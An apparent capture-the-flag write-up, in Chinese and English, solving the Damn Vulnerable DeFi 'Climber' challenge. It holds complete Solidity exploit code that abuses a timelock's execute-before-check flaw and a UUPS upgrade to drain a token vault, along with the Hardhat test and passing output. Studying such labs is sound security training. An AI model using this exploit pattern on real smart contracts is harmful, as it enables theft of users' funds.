There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
Your goal is to empty the vault.
目标: 偷走保险库中所有资金
after(async function () {
/** SUCCESS CONDITIONS */
expect(await this.token.balanceOf(this.vault.address)).to.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.eq(VAULT_TOKEN_BALANCE);
});
climber.challenge.js
攻击者拥有初始金额0.1 ETH
用UUPS模式部署保险库合约传入初始化必要参数
初始化
ClimberTimelock时间锁合约将10M DVT转入保险库中
ClimberVault.sol 保险库合约
间隔15天提款一次,每次提款1 ETH
initialize初始化函数, UUPS升级模式, 初始化过程中新建ClimberTimelock时间锁合约,并将所属权转移给时间锁
function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
withdrawonlyOwner取款函数限制1 ETH , 每取款一次需要间隔15天sweepFundsonlySweeper扫空所有资金, 仅允许拥有Sweeper角色的地址调用
ClimberTimelock.sol 时间锁合约, 继承AccessControl.sol 用于角色访问权限控制
schedule发起提案函数, 只能被proposers角色控制execute执行提案函数,只能执行提案队列中的内容, 可以被任何人调用
ClimberTimelock时间锁合约被设置ADMIN_ROLE管理员权限, 而ADMIN_ROLE将从AccessControl.sol 中继承function grantRole(bytes32 role, address account) 设置权限函数execute执行提案函数中check 提案状态发生在实际执行之后, 违反了checks-effects-interactions模式
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
check 提案执行时间逻辑错误, 大于小于符号写反将导致提案可以立即被执行而不用等待1小时, 应使用
<=
else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
要想取走保险库所有资金只能调用
sweepFunds函数 ->sweepFunds被onlySweeper保护ClimberVault保险库为UUPS模式可升级合约 -> 可通过升级保险库移除sweepFunds限制升级保险库需要拿到
owner权限 -> 通过时间锁合约schedule发起提案获得owner发起提案
schedule需要PROPOSER_ROLE身份 -> 利用execute漏洞和ADMIN_ROLE身份继承而来的grantRole函数直接设置PROPOSER_ROLE身份发起提案升级保险库移除
onlySweeper由于check 提案执行时间逻辑错误, 提案可立即被执行
调用
sweepFunds转走保险库资金
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberVault.sol";
contract AttackClimber {
ClimberVault public immutable vault;
address payable timelock;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
constructor(address _vault, address payable _timelock) {
vault = ClimberVault(_vault);
timelock = _timelock;
}
function attack(address attacker) external {
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));
values.push(0);
values.push(0);
values.push(0);
bytes memory data0 = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);
bytes memory data1 = abi.encodeWithSignature("transferOwnership(address)", attacker);
bytes memory data2 = abi.encodeWithSignature("schedule()");
dataElements.push(data0);
dataElements.push(data1);
dataElements.push(data2);
ClimberTimelock(timelock).execute(targets, values, dataElements, "0x");
}
function schedule() external {
ClimberTimelock(timelock).schedule(targets, values, dataElements, "0x");
}
}
升级保险库合约, 在原ClimberVault 的基础上移除onlySweeper
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberTimelock.sol";
contract ClimberVaultWithoutOnlySweeper is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(
address admin,
address proposer,
address sweeper
) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(
address tokenAddress,
address recipient,
uint256 amount
) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
_setLastWithdrawal(block.timestamp);
IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}
function sweepFundsV2(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(tx.origin, token.balanceOf(address(this))), "Transfer failed");
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackClimber = await ethers.getContractFactory("AttackClimber", attacker);
this.attack = await AttackClimber.deploy(this.vault.address, this.timelock.address);
await this.attack.connect(attacker).attack(attacker.address);
const VaultX = await ethers.getContractFactory("ClimberVaultWithoutOnlySweeper", attacker);
this.vaultV2 = await VaultX.deploy();
const vaultV2Interface = VaultX.interface;
const data = vaultV2Interface.encodeFunctionData("sweepFundsV2", [this.token.address]);
await this.vault.connect(attacker).upgradeToAndCall(this.vaultV2.address, data);
});
运行通过
❯ yarn run climber
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/climber/climber.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/climber/climber.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Climber
✓ Exploit (483ms)
1 passing (4s)
Done in 8.08s.
Twitter: @0xRunstar
